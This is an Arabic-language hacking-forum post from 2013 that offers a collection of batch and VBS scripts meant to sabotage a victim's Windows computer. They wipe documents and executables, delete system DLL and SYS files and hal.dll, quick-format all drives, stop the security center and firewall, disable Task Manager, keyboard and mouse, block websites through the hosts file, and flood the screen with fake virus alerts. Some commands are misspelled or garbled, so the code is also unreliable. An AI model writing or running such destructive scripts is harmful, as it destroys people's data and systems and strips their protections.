آقدم لكم اليوم بعض آكواد لتدمير آلجهاز + آلعب معه
قبل آلبدء آلمتطلبآت
1-notepad
2- قم بنسخ آلكود آلمطلوب
3- آذهب آلى Edit >>> Save As
4- آحفظهأ بآمتداد .Bat آو .vbs
نبدء بآللعب آلثقيل
اغلاق الجهاز كل ما يحاول فتحة ( vbs ):
shutdown -s -t 10 -c "YOU GOT OWNED... "
قتل البروسيس ( vbs ):
@echo off
taskill /f /t /im "process.exe"
تغير وقت الجهاز ( BaT ):
@echo off
time 00:00
فصل اتصال الإنترنت ( BaT ):
@echo off
ipconfig /release
if ERRORLEVEL1 ipconfig /release_all
تعطيل آي موقع ( ثم بتغير BaT ) ( GoogLe ):
@echo off
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 Google >> "Hosts"
تعطيل الفارة ( BaT ):
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\S ervices\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
لحذف جميع ملفات dll , sys :
@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
تعطيل لوحة المفاتيح ( BaT ):
@echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINESYSTEMControlSet001ControlKeyboa rd Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,0 0 ,01,00,00, >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00 ,3f,00,00,00,40,00,00,00, >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57 ,00,00,00,58,00,00,00,37, >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00 ,00,00,4a,00,00,00,47,00, >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00 ,00,4d,00,00,00,4e,00,00, >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00 ,53,00,00,00,52,00,00,00, >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52 ,e0,00,00,47,e0,00,00,49, >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00 ,00,00,02,00,00,00,03,00, >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00 ,00,08,00,00,00,09,00,00, >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00 ,0e,00,00,00,0f,00,00,00, >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14 ,00,00,00,15,00,00,00,16, >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00 ,00,00,1b,00,00,00,2b,00, >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00 ,00,21,00,00,00,22,00,00, >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00 ,27,00,00,00,28,00,00,00, >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e ,00,00,00,2f,00,00,00,30, >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00 ,00,00,35,00,00,00,36,00, >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00 ,00,38,e0,00,00,5c,e0,00, >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00 ,22,e0,00,00,24,e0,00,00, >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c ,e0,00,00,20,e0,00,00,6a, >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0 ,00,00,6c,e0,00,00,6d,e0, >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg
اخفاء الاغاني + الافلام + الصور من كل آلجهاز ( BaT ):
@ echo off
attrib +h "%userprofile%\my documents\my music"
attrib +h "%userprofile%\my documents\my videos"
attrib +h "%userprofile%\my documents\my pictures"
حذف آلـMy Documents :
@ echo off
del /f /q '%userprofile%\My Documents\*.*'
حذف جميع آلملفآت ألتنفيذية ExE:
@ echo off
DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"
لآ تنسآ بعدنآ بنلعب لسآ ما دخلنآ على ألدمآر
_________________________________________
حذف آلـWord:
@ echo off
tskill WINWORD
del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\WINWORD.EXE"
آظهأر خطآ آنه يوجد فآيروس لآ يمكن آلخروج منها ( نصيحة لآ تجربهآ لآنها جربتهآ ما طلعت آلا بعد ما طلعت روحي ) ( BaT ):
@ echo off
rem Spam With VBScript Msgboxes
echo Do>>msgbox.vbs
echo x=msgbox("Your computer is infected with a virus!",0+48,"Infected") >>msgbox.vbs
echo Loop>>msgbox.vbs
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
قتل آلمفكرة ( BaT ):
@ echo off
tskill notepad
بكفي شو قآتل وآحد ( آلضحية )
-------------------------------------------------------
نيجي للدمآر
-------------------------------------------------------
قتل آلـ Cmd:
@ echo off
rem Hide CMD Window
if exist winstart.vbs goto next
echo set obj****************l = CreateObject("WScript.****************l") >> winstart.vbs
echo obj****************l.Run ".bat", vbHide, TRUE >> winstart.vbs
start "" "winstart.vbs"
exit
:next
قتل جذآر ألحماية ( BaT ):
@ echo off
net stop "security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
حرق كرت آلشاشة ( vbs ):
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) If KeyCode = vbKeyEscape Then Unload Me End Sub Private Sub Form_Load() Dim lngDC As Long Dim intWidth As Integer, intHeight As Integer Dim intX As Integer, intY As Integer lngDC = GetDC(0) intWidth = Screen.Width / Screen.TwipsPerPixelX intHeight = Screen.Height / Screen.TwipsPerPixelY form1.Width = intWidth * 15 form1.Height = intHeight * 15 Call BitBlt(hDC, 0, 0, intWidth, intHeight, lngDC, 0, 0, vbSrcCopy) form1.Visible = vbTrue Do intX = (intWidth - 128) * Rnd intY = (intHeight - 128) * Rnd Call BitBlt(lngDC, intX, intY + 1, 128, 128, lngDC, intX, intY, vbSrcCopy) DoEvents Loop End Sub Private Sub Form_Unload(Cancel As Integer) Set form1 = Nothing End End Sub
تعطيل مدير آلمهأم ( BaT )::
@echo off
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesSystem /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
عمل فورمات لا أي قرص ( غير فقط C ضع بدآلها E - D - F - G ) ( vbs )
FORMAT/Q C:/Y
CLS
عمل فورمآت للجهإز بآلكامل ( vbs ):
FORMAT/Q D:/Y
CLS
FORMAT/Q E:/Y
CLS
FORMAT/Q F:/Y
CLS
FORMAT/Q G:/Y
CLS
FORMAT/Q C:/Y
CLS
قتل آلـ Msn:
@ echo off
tskill msnmsgr
قتل آلإنتي فآيروس ( BaT ):
@ echo off
rem Disable Windows Security
net stop "security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
تدمير آلجهأز بالكآمل ( vbs ):
cd %systemroot%\system32
del hal.dll
shutdown -s
__________________________________________
آتمنى منكن آلدعإاء لوآلدي + لآ تنسو آلتقيم آن كنت آستأهل
أهدأء آلى جميع آعضأء وزآر kopra-hakr
__________________________________________
نقاط واوسمة : 
الجمعة يناير 25, 2013 10:11 pm
